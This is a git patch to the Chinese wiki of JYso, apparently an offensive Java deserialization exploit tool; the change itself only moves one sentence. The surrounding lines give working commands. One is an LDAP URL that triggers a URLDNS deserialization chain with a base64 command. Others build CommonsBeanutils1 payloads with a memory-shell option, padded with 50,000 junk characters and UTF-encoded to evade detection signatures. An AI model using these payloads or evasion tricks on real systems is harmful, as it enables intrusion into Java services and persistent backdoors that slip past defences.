From 83392f920912e9c57608fc48af1aadca48cc66b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Wed, 20 Mar 2024 10:18:11 +0800 Subject: [PATCH] =?UTF-8?q?Updated=20JYso=E2=80=90CN=20(markdown)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- JYso‐CN.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/JYso‐CN.md b/JYso‐CN.md index 9d5f293..6104161 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -619,13 +619,15 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all: java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread' -dt 1 -dl 50000 ``` +可以生成填充了 50000 个脏字符的序列化数据 + 通过UTF编码对原始序列化数据中 TC_CLASSDESC、TC_PROXYCLASSDESC、TC_STRING 这些强特征来3字节加密 ```shell java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread' -utf ``` -可以生成填充了 50000 个脏字符的序列化数据 + # 2.0 RASP 层面